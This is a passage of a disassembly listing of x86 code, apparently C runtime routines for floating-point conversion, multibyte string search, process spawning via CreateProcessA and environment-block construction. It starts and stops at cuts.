sub_434179 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4341CF proc near ; CODE XREF: sub_43432A+81p ; sub_43432A+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_434233 inc ebx push ebx push [ebp+arg_0] call sub_434130 pop ecx test eax, eax pop ecx jnz short loc_434230 push edi push [ebp+arg_0] call sub_434179 pop ecx mov [ebp+var_4], eax pop ecx loc_434230: ; CODE XREF: sub_4341CF+51j mov eax, [ebp+arg_4] loc_434233: ; CODE XREF: sub_4341CF+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_434253 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_434253: ; CODE XREF: sub_4341CF+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4341CF endp ; =============== S U B R O U T I N E ======================================= sub_43425B proc near ; CODE XREF: sub_43432A+75p ; sub_43432A+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_434269: ; CODE XREF: sub_43425B+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_434269 pop esi retn sub_43425B endp ; =============== S U B R O U T I N E ======================================= sub_434276 proc near ; CODE XREF: sub_43432A+5Fp ; sub_43432A+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_434276 endp ; =============== S U B R O U T I N E ======================================= sub_434282 proc near ; CODE XREF: sub_43432A+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_434288: ; CODE XREF: sub_434282+12j cmp dword ptr [eax], 0 jnz short loc_43429A inc ecx add eax, 4 cmp ecx, 3 jl short loc_434288 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_43429A: ; CODE XREF: sub_434282+9j xor eax, eax retn sub_434282 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43429D proc near ; CODE XREF: sub_43432A+C0p ; sub_43432A+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_4342D3: ; CODE XREF: sub_43429D+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_4342D3 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_434305: ; CODE XREF: sub_43429D+86j cmp ebx, edi jl short loc_434318 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_43431F ; --------------------------------------------------------------------------- loc_434318: ; CODE XREF: sub_43429D+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_43431F: ; CODE XREF: sub_43429D+79j dec ebx sub ecx, 4 jns short loc_434305 pop edi pop esi pop ebx leave retn sub_43429D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43432A proc near ; CODE XREF: sub_434496+Dp ; sub_4344AC+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_434397 lea eax, [ebp+var_C] xor esi, esi push eax call sub_434282 test eax, eax pop ecx jnz loc_434456 lea eax, [ebp+var_C] push eax call sub_434276 pop ecx loc_43438F: ; CODE XREF: sub_43432A+E4j push 2 loc_434391: ; CODE XREF: sub_43432A+110j pop eax jmp loc_434458 ; --------------------------------------------------------------------------- loc_434397: ; CODE XREF: sub_43432A+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_43425B push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4341CF add esp, 10h test eax, eax jz short loc_4343B8 inc ebx loc_4343B8: ; CODE XREF: sub_43432A+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_4343D0 lea eax, [ebp+var_C] push eax call sub_434276 pop ecx jmp short loc_43440C ; --------------------------------------------------------------------------- loc_4343D0: ; CODE XREF: sub_43432A+98j cmp ebx, eax jg short loc_434413 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_43425B lea eax, [ebp+var_C] push esi push eax call sub_43429D push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4341CF mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_43429D add esp, 20h loc_43440C: ; CODE XREF: sub_43432A+A4j xor esi, esi jmp loc_43438F ; --------------------------------------------------------------------------- loc_434413: ; CODE XREF: sub_43432A+A8j cmp ebx, [edi] jl short loc_43443F lea eax, [ebp+var_C] push eax call sub_434276 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_43429D mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_434391 ; --------------------------------------------------------------------------- loc_43443F: ; CODE XREF: sub_43432A+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_43429D pop ecx pop ecx loc_434456: ; CODE XREF: sub_43432A+55j xor eax, eax loc_434458: ; CODE XREF: sub_43432A+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_434487 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_434491 ; --------------------------------------------------------------------------- loc_434487: ; CODE XREF: sub_43432A+14Ej cmp edi, 20h jnz short loc_434491 mov ecx, [ebp+arg_4] mov [ecx], esi loc_434491: ; CODE XREF: sub_43432A+15Bj ; sub_43432A+160j pop edi pop esi pop ebx leave retn sub_43432A endp ; =============== S U B R O U T I N E ======================================= sub_434496 proc near ; CODE XREF: sub_4344C2+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_453C40 push [esp+4+arg_4] push [esp+8+arg_0] call sub_43432A add esp, 0Ch retn sub_434496 endp ; =============== S U B R O U T I N E ======================================= sub_4344AC proc near ; CODE XREF: sub_4344EF+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_453C58 push [esp+4+arg_4] push [esp+8+arg_0] call sub_43432A add esp, 0Ch retn sub_4344AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344C2 proc near ; CODE XREF: sub_4307A1+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_435381 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_434496 add esp, 24h leave retn sub_4344C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344EF proc near ; CODE XREF: sub_4307A1+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_435381 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4344AC add esp, 24h leave retn sub_4344EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43451C proc near ; CODE XREF: sub_4307DF+41p ; sub_430902+38p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_434559 mov [ebp+arg_0], ebx xor ebx, ebx loc_43453F: ; CODE XREF: sub_43451C+38j mov dl, [ecx] test dl, dl jz short loc_43454B movsx edx, dl inc ecx jmp short loc_43454E ; --------------------------------------------------------------------------- loc_43454B: ; CODE XREF: sub_43451C+27j push 30h pop edx loc_43454E: ; CODE XREF: sub_43451C+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_43453F mov edx, [ebp+arg_8] loc_434559: ; CODE XREF: sub_43451C+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_434572 cmp byte ptr [ecx], 35h jl short loc_434572 loc_434565: ; CODE XREF: sub_43451C+52j dec eax cmp byte ptr [eax], 39h jnz short loc_434570 mov byte ptr [eax], 30h jmp short loc_434565 ; --------------------------------------------------------------------------- loc_434570: ; CODE XREF: sub_43451C+4Dj inc byte ptr [eax] loc_434572: ; CODE XREF: sub_43451C+42j ; sub_43451C+47j cmp byte ptr [esi], 31h jnz short loc_43457C inc dword ptr [edx+4] jmp short loc_43458E ; --------------------------------------------------------------------------- loc_43457C: ; CODE XREF: sub_43451C+59j push edi call sub_4293A0 inc eax push eax push edi push esi call sub_42BA90 add esp, 10h loc_43458E: ; CODE XREF: sub_43451C+5Ej pop edi pop esi pop ebx pop ebp retn sub_43451C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434593 proc near ; CODE XREF: sub_4307DF+19p ; sub_430902+19p ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = byte ptr -0Ch arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4345EF pop ecx lea eax, [ebp+var_28] pop ecx lea esi, [ebp+var_C] push eax push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_435852 mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov [esi+8], eax movsx eax, [ebp+var_26] mov [esi], eax movsx eax, [ebp+var_28] mov [esi+4], eax lea eax, [ebp+var_24] push eax push edi call sub_42A5D0 add esp, 20h mov [esi+0Ch], edi mov eax, esi pop edi pop esi leave retn sub_434593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345EF proc near ; CODE XREF: sub_434593+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_43463D cmp ebx, edi jz short loc_434636 lea edi, [ecx+3C00h] jmp short loc_43465E ; --------------------------------------------------------------------------- loc_434636: ; CODE XREF: sub_4345EF+3Dj mov edi, 7FFFh jmp short loc_43465E ; --------------------------------------------------------------------------- loc_43463D: ; CODE XREF: sub_4345EF+39j xor ebx, ebx cmp eax, ebx jnz short loc_434655 cmp edx, ebx jnz short loc_434655 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4346A0 ; --------------------------------------------------------------------------- loc_434655: ; CODE XREF: sub_4345EF+52j ; sub_4345EF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_43465E: ; CODE XREF: sub_4345EF+45j ; sub_4345EF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_434676: ; CODE XREF: sub_4345EF+A6j test ecx, esi jnz short loc_434697 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_434676 ; --------------------------------------------------------------------------- loc_434697: ; CODE XREF: sub_4345EF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4346A0: ; CODE XREF: sub_4345EF+64j pop edi pop esi pop ebx leave retn sub_4345EF endp ; --------------------------------------------------------------------------- push 2 call sub_42C67C pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4346AE proc near ; CODE XREF: sub_430FC3+ACp ; sub_431128+10p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi cmp dword_676CAC, esi jnz short loc_4346CB push [ebp+arg_4] push [ebp+arg_0] call sub_42B060 pop ecx pop ecx jmp short loc_43471D ; --------------------------------------------------------------------------- loc_4346CB: ; CODE XREF: sub_4346AE+Cj push edi push 19h call sub_42DAEF pop ecx mov ecx, [ebp+arg_0] loc_4346D7: ; CODE XREF: sub_4346AE+62j mov dl, [ecx] movzx eax, dl movzx edi, al test byte_676DC1[edi], 4 jz short loc_434706 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_434702 movzx edi, dl shl eax, 8 or eax, edi cmp [ebp+arg_4], eax jnz short loc_43470D lea esi, [ecx-1] jmp short loc_43470D ; --------------------------------------------------------------------------- loc_434702: ; CODE XREF: sub_4346AE+40j test esi, esi jmp short loc_434709 ; --------------------------------------------------------------------------- loc_434706: ; CODE XREF: sub_4346AE+38j cmp [ebp+arg_4], eax loc_434709: ; CODE XREF: sub_4346AE+56j jnz short loc_43470D mov esi, ecx loc_43470D: ; CODE XREF: sub_4346AE+4Dj ; sub_4346AE+52j ... inc ecx test dl, dl jnz short loc_4346D7 push 19h call sub_42DB50 pop ecx mov eax, esi pop edi loc_43471D: ; CODE XREF: sub_4346AE+1Bj pop esi pop ebp retn sub_4346AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434720 proc near ; CODE XREF: sub_430FC3:loc_43103Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] loc_434726: ; CODE XREF: sub_434720+Cj cmp byte ptr [ecx], 3Bh jnz short loc_43472E inc ecx jmp short loc_434726 ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: sub_434720+9j dec [ebp+arg_8] push esi mov eax, ecx jz short loc_434783 mov dl, [ecx] mov esi, [ebp+arg_4] test dl, dl jz short loc_434777 loc_43473F: ; CODE XREF: sub_434720+55j cmp dl, 3Bh jz short loc_434777 cmp dl, 22h jz short loc_434754 mov [esi], dl inc esi inc ecx dec [ebp+arg_8] jz short loc_43477F jmp short loc_434771 ; --------------------------------------------------------------------------- loc_434754: ; CODE XREF: sub_434720+27j inc ecx loc_434755: ; CODE XREF: sub_434720+49j mov dl, [ecx] test dl, dl jz short loc_43476B cmp dl, 22h jz short loc_43476B mov [esi], dl inc esi inc ecx dec [ebp+arg_8] jz short loc_43477F jmp short loc_434755 ; --------------------------------------------------------------------------- loc_43476B: ; CODE XREF: sub_434720+39j ; sub_434720+3Ej cmp byte ptr [ecx], 0 jz short loc_434771 inc ecx loc_434771: ; CODE XREF: sub_434720+32j ; sub_434720+4Ej mov dl, [ecx] test dl, dl jnz short loc_43473F loc_434777: ; CODE XREF: sub_434720+1Dj ; sub_434720+22j ... cmp byte ptr [ecx], 3Bh jnz short loc_434786 inc ecx jmp short loc_434777 ; --------------------------------------------------------------------------- loc_43477F: ; CODE XREF: sub_434720+30j ; sub_434720+47j mov eax, ecx jmp short loc_434786 ; --------------------------------------------------------------------------- loc_434783: ; CODE XREF: sub_434720+14j mov esi, [ebp+arg_4] loc_434786: ; CODE XREF: sub_434720+5Aj ; sub_434720+61j and byte ptr [esi], 0 sub eax, ecx neg eax sbb eax, eax pop esi and eax, ecx pop ebp retn sub_434720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434794 proc near ; CODE XREF: sub_430FC3+3Ap ; sub_430FC3+114p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_676CAC, 0 push ebx push esi jnz short loc_4347B1 push [ebp+arg_4] push [ebp+arg_0] call sub_42B1A0 pop ecx pop ecx jmp short loc_434827 ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: sub_434794+Cj push 19h call sub_42DAEF mov esi, [ebp+arg_0] pop ecx loc_4347BC: ; CODE XREF: sub_434794+60j movzx bx, byte ptr [esi] test bx, bx jz short loc_43480F movzx eax, bl test byte_676DC1[eax], 4 jz short loc_4347EB mov al, [esi+1] inc esi test al, al jz short loc_4347F6 movzx ecx, bx movzx eax, al shl ecx, 8 or ecx, eax cmp [ebp+arg_4], ecx jz short loc_434802 jmp short loc_4347F3 ; --------------------------------------------------------------------------- loc_4347EB: ; CODE XREF: sub_434794+3Bj movzx eax, bx cmp [ebp+arg_4], eax jz short loc_43480F loc_4347F3: ; CODE XREF: sub_434794+55j inc esi jmp short loc_4347BC ; --------------------------------------------------------------------------- loc_4347F6: ; CODE XREF: sub_434794+43j push 19h call sub_42DB50 pop ecx xor eax, eax jmp short loc_434827 ; --------------------------------------------------------------------------- loc_434802: ; CODE XREF: sub_434794+53j push 19h call sub_42DB50 pop ecx lea eax, [esi-1] jmp short loc_434827 ; --------------------------------------------------------------------------- loc_43480F: ; CODE XREF: sub_434794+2Fj ; sub_434794+5Dj push 19h call sub_42DB50 mov eax, [ebp+arg_4] pop ecx movzx ecx, bx sub eax, ecx neg eax sbb eax, eax not eax and eax, esi loc_434827: ; CODE XREF: sub_434794+1Bj ; sub_434794+6Cj ... pop esi pop ebx pop ebp retn sub_434794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43482B proc near ; CODE XREF: sub_431271+32p var_60 = dword ptr -60h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h mov eax, [ebp+arg_0] and [ebp+var_1], 0 push ebx push esi push edi xor edi, edi cmp eax, edi mov [ebp+var_8], edi jz short loc_434859 cmp eax, 1 jz short loc_434859 jle short loc_43487B cmp eax, 3 jle short loc_434859 cmp eax, 4 jnz short loc_43487B mov [ebp+var_1], 1 loc_434859: ; CODE XREF: sub_43482B+17j ; sub_43482B+1Cj ... mov eax, [ebp+arg_8] mov [ebp+var_C], eax loc_43485F: ; CODE XREF: sub_43482B+47j ; sub_43482B+4Ej mov cl, [eax] test cl, cl jz short loc_434892 loc_434865: ; CODE XREF: sub_43482B+3Ej inc eax cmp byte ptr [eax], 0 jnz short loc_434865 cmp byte ptr [eax+1], 0 lea ecx, [eax+1] jz short loc_43485F mov byte ptr [eax], 20h mov eax, ecx jmp short loc_43485F ; --------------------------------------------------------------------------- loc_43487B: ; CODE XREF: sub_43482B+1Ej ; sub_43482B+28j call sub_42F119 mov dword ptr [eax], 16h call sub_42F122 mov [eax], edi jmp loc_4349B6 ; --------------------------------------------------------------------------- loc_434892: ; CODE XREF: sub_43482B+38j push 44h lea eax, [ebp+var_60] pop esi push esi push edi push eax call sub_429760 mov [ebp+var_60], esi mov esi, dword_676FE0 add esp, 0Ch cmp esi, edi jz short loc_4348D4 lea ecx, [esi-1] loc_4348B3: ; CODE XREF: sub_43482B+A7j mov edx, ecx mov eax, ecx sar edx, 5 and eax, 1Fh mov edx, dword_676EE0[edx*4] lea eax, [eax+eax*8] cmp byte ptr [edx+eax*4+4], 0 jnz short loc_4348D4 dec esi dec ecx cmp esi, edi jnz short loc_4348B3 loc_4348D4: ; CODE XREF: sub_43482B+83j ; sub_43482B+A1j lea eax, [esi+esi*4+4] push 1 mov [ebp+var_2E], ax movzx eax, ax push eax call sub_42B39A mov [ebp+var_2C], eax pop ecx mov [eax], esi mov eax, [ebp+var_2C] pop ecx xor ebx, ebx cmp esi, edi lea ecx, [eax+4] lea edx, [eax+esi+4] jle short loc_434938 loc_4348FE: ; CODE XREF: sub_43482B+106j mov edi, ebx mov eax, ebx sar edi, 5 and eax, 1Fh mov edi, dword_676EE0[edi*4] lea eax, [eax+eax*8] lea edi, [edi+eax*4] mov al, [edi+4] test al, 10h jnz short loc_434924 mov [ecx], al mov eax, [edi] mov [edx], eax jmp short loc_43492A ; --------------------------------------------------------------------------- loc_434924: ; CODE XREF: sub_43482B+EFj and byte ptr [ecx], 0 or dword ptr [edx], 0FFFFFFFFh loc_43492A: ; CODE XREF: sub_43482B+F7j inc ebx inc ecx add edx, 4 cmp ebx, esi jl short loc_4348FE mov eax, [ebp+var_2C] xor edi, edi loc_434938: ; CODE XREF: sub_43482B+D1j cmp [ebp+var_1], 0 jz short loc_43496B lea ecx, [eax+4] xor edx, edx lea eax, [eax+esi+4] loc_434947: ; CODE XREF: sub_43482B+137j cmp esi, 3 jge short loc_434950 mov ebx, esi jmp short loc_434953 ; --------------------------------------------------------------------------- loc_434950: ; CODE XREF: sub_43482B+11Fj push 3 pop ebx loc_434953: ; CODE XREF: sub_43482B+123j cmp edx, ebx jge short loc_434964 and byte ptr [ecx], 0 or dword ptr [eax], 0FFFFFFFFh inc edx inc ecx add eax, 4 jmp short loc_434947 ; --------------------------------------------------------------------------- loc_434964: ; CODE XREF: sub_43482B+12Aj mov [ebp+var_8], 8 loc_43496B: ; CODE XREF: sub_43482B+111j call sub_42F119 mov [eax], edi call sub_42F122 mov [eax], edi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_60] push eax push edi push [ebp+arg_C] push [ebp+var_8] push 1 push edi push edi push [ebp+var_C] push [ebp+arg_4] call dword_4370D8 ; CreateProcessA mov esi, eax call dword_437170 ; RtlGetLastWin32Error push [ebp+var_2C] mov ebx, eax call sub_4298F2 cmp esi, edi pop ecx jnz short loc_4349BB push ebx call sub_42F0A6 pop ecx loc_4349B6: ; CODE XREF: sub_43482B+62j or eax, 0FFFFFFFFh jmp short loc_434A0F ; --------------------------------------------------------------------------- loc_4349BB: ; CODE XREF: sub_43482B+182j cmp [ebp+arg_0], 2 jnz short loc_4349C7 push edi call sub_430B45 loc_4349C7: ; CODE XREF: sub_43482B+194j cmp [ebp+arg_0], edi mov esi, dword_437044 jnz short loc_4349F1 push 0FFFFFFFFh push [ebp+var_1C] call dword_43707C ; WaitForSingleObject lea eax, [ebp+arg_8] push eax push [ebp+var_1C] call dword_437100 ; GetExitCodeProcess push [ebp+var_1C] call esi ; dword_437044 jmp short loc_434A07 ; --------------------------------------------------------------------------- loc_4349F1: ; CODE XREF: sub_43482B+1A5j cmp [ebp+arg_0], 4 jnz short loc_434A01 push [ebp+var_1C] call esi ; dword_437044 mov [ebp+arg_8], edi jmp short loc_434A07 ; --------------------------------------------------------------------------- loc_434A01: ; CODE XREF: sub_43482B+1CAj mov eax, [ebp+var_1C] mov [ebp+arg_8], eax loc_434A07: ; CODE XREF: sub_43482B+1C4j ; sub_43482B+1D4j push [ebp+var_18] call esi ; dword_437044 mov eax, [ebp+arg_8] loc_434A0F: ; CODE XREF: sub_43482B+18Ej pop edi pop esi pop ebx leave retn sub_43482B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434A14 proc near ; CODE XREF: sub_431271+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi push 2 pop esi mov edi, esi loc_434A22: ; CODE XREF: sub_434A14+22j mov eax, [ebx] test eax, eax jz short loc_434A38 push eax add ebx, 4 call sub_4293A0 pop ecx lea edi, [edi+eax+1] jmp short loc_434A22 ; --------------------------------------------------------------------------- loc_434A38: ; CODE XREF: sub_434A14+12j push edi call sub_4297B8 pop ecx mov ecx, [ebp+arg_8] test eax, eax mov [ecx], eax jnz short loc_434A53 mov eax, [ebp+arg_C] and dword ptr [eax], 0 jmp loc_434B35 ; --------------------------------------------------------------------------- loc_434A53: ; CODE XREF: sub_434A14+32j mov edi, [ebp+arg_4] test edi, edi jz short loc_434A70 loc_434A5A: ; CODE XREF: sub_434A14+5Aj mov eax, [edi] test eax, eax jz short loc_434A97 push eax add edi, 4 call sub_4293A0 pop ecx lea esi, [esi+eax+1] jmp short loc_434A5A ; --------------------------------------------------------------------------- loc_434A70: ; CODE XREF: sub_434A14+44j mov eax, [ebp+arg_C] mov ebx, [ebp+arg_C] mov edi, [ebp+arg_C] and dword ptr [eax], 0 loc_434A7C: ; CODE XREF: sub_434A14+10Dj mov eax, [ebp+arg_8] mov esi, [eax] mov eax, [ebp+arg_0] mov [ebp+arg_8], eax mov eax, [eax] test eax, eax jnz loc_434B53 loc_434A91: ; CODE XREF: sub_434A14+185j inc esi jmp loc_434B72 ; --------------------------------------------------------------------------- loc_434A97: ; CODE XREF: sub_434A14+4Aj mov eax, dword_676924 test eax, eax jnz short loc_434AB2 call sub_432F35 test eax, eax mov dword_676924, eax jz loc_434B4B loc_434AB2: ; CODE XREF: sub_434A14+8Aj xor ebx, ebx cmp [eax], bl jz short loc_434ADB mov edi, eax mov cl, [edi] loc_434ABC: ; CODE XREF: sub_434A14+C5j cmp cl, 3Dh jz short loc_434ADB push edi call sub_4293A0 lea ebx, [ebx+eax+1] mov eax, dword_676924 pop ecx mov cl, [eax+ebx] lea edi, [eax+ebx] test cl, cl jnz short loc_434ABC loc_434ADB: ; CODE XREF: sub_434A14+A2j ; sub_434A14+ABj mov edi, ebx add eax, ebx loc_434ADF: ; CODE XREF: sub_434A14+F7j cmp byte ptr [eax], 3Dh jnz short loc_434B0D cmp byte ptr [eax+1], 0 jz short loc_434B0D cmp byte ptr [eax+2], 3Ah jnz short loc_434B0D cmp byte ptr [eax+3], 3Dh jnz short loc_434B0D add eax, 4 push eax call sub_4293A0 lea edi, [edi+eax+5] mov eax, dword_676924 pop ecx add eax, edi jmp short loc_434ADF ; --------------------------------------------------------------------------- loc_434B0D: ; CODE XREF: sub_434A14+CEj ; sub_434A14+D4j ... mov eax, edi sub eax, ebx add eax, esi push eax call sub_4297B8 pop ecx mov ecx, [ebp+arg_C] test eax, eax mov [ecx], eax jnz loc_434A7C mov esi, [ebp+arg_8] push dword ptr [esi] call sub_4298F2 and dword ptr [esi], 0 pop ecx loc_434B35: ; CODE XREF: sub_434A14+3Aj call sub_42F119 mov dword ptr [eax], 0Ch call sub_42F122 mov dword ptr [eax], 8 loc_434B4B: ; CODE XREF: sub_434A14+98j or eax, 0FFFFFFFFh jmp loc_434C15 ; --------------------------------------------------------------------------- loc_434B53: ; CODE XREF: sub_434A14+77j push eax push esi call sub_42A5D0 mov eax, [ebp+arg_0] mov ecx, [eax] add eax, 4 push ecx mov [ebp+arg_8], eax call sub_4293A0 add esp, 0Ch lea esi, [esi+eax+1] loc_434B72: ; CODE XREF: sub_434A14+7Ej mov eax, [ebp+arg_8] mov eax, [eax] test eax, eax jz short loc_434B9E push eax push esi call sub_42A5D0 mov eax, [ebp+arg_8] add [ebp+arg_8], 4 mov eax, [eax] push eax call sub_4293A0 add esp, 0Ch add esi, eax mov byte ptr [esi], 20h jmp loc_434A91 ; --------------------------------------------------------------------------- loc_434B9E: ; CODE XREF: sub_434A14+165j mov eax, [ebp+arg_C] and byte ptr [esi-1], 0 and byte ptr [esi], 0 cmp [ebp+arg_4], 0 mov esi, [eax] jz short loc_434BEE mov eax, edi sub eax, ebx push eax mov eax, dword_676924 add eax, ebx push eax push esi call sub_429420 sub edi, ebx add esp, 0Ch add esi, edi mov edi, [ebp+arg_4] loc_434BCD: ; CODE XREF: sub_434A14+1D8j mov eax, 